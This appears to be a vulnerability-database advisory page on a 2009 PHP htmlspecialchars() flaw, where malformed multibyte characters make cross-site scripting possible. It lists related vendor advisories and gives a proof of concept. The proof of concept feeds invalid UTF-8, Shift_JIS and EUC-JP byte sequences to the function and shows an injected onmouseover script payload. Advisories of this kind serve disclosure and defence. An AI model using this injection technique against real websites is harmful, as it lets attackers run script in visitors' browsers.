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PHP 'htmlspecialcharacters()'畸形多字节字符跨站脚本漏洞
| Reporter | Title | Published | Views | Family All 83 |
|---|---|---|---|---|
 | php -- multiple vulnerabilities | 17 Dec 200900:00 | – | freebsd |
 | PHP 5.2.x < 5.2.12 Multiple Vulnerabilities | 18 Dec 200900:00 | – | nessus |
| PHP 5.2.x < 5.2.12 Multiple Vulnerabilities | 18 Dec 200900:00 | – | nessus |
| CentOS 3 / 4 / 5 : php (CESA-2010:0040) | 14 Jan 201000:00 | – | nessus |
| Debian DSA-2001-1 : php5 - multiple vulnerabilities | 24 Feb 201000:00 | – | nessus |
| Fedora 11 : maniadrive-1.2-17.fc11 / php-5.2.12-1.fc11 (2010-0495) | 1 Jul 201000:00 | – | nessus |
| FreeBSD : php -- multiple vulnerabilities (39a25a63-eb5c-11de-b650-00215c6a37bb) | 18 Dec 200900:00 | – | nessus |
| GLSA-201001-03 : PHP: Multiple vulnerabilities | 25 Feb 201000:00 | – | nessus |
| Mac OS X Multiple Vulnerabilities (Security Update 2010-002) | 29 Mar 201000:00 | – | nessus |
| Mandriva Linux Security Advisory : php (MDVSA-2010:008) | 18 Jan 201000:00 | – | nessus |
10
// overlong UTF-8 sequence
echo htmlspecialchars("A\xC0\xAF&", ENT_QUOTES, 'UTF-8');
// invalid Shift_JIS sequence
echo htmlspecialchars("B\x80&", ENT_QUOTES, 'Shift_JIS');
echo htmlspecialchars("C\x81\x7f&", ENT_QUOTES, 'Shift_JIS');
// invalid EUC-JP sequence
echo htmlspecialchars("D\x80&", ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("E\xA1\xFF&", ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("F\x8E\xFF&", ENT_QUOTES, 'EUC-JP');
echo htmlspecialchars("G\x8F\xA1\xFF&", ENT_QUOTES, 'EUC-JP');
-----------------------------------------------------------------
<?php
$_GET['a1'] = "\xf0"; // \xf0 - \xfc で可能
$_GET['a2'] = " href=dummy onmouseover=alert(document.title) dummy=dummy";
header( "Content-Type:text/html; charset=Shift_JIS" );
?>
<html>
<head><title>Shift_JIS test</title></head>
<body>
<p><a title="<?php echo htmlspecialchars( $_GET['a1'], ENT_QUOTES, 'SJIS' ) ?>" href="<?php echo htmlspecialchars( $_GET['a2'], ENT_QUOTES, 'SJIS' ) ?>">test</a></p>
</body>
</html>
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18 Dec 2009 00:00Current
0.1Low risk
Vulners AI Score0.1
EPSS0.16946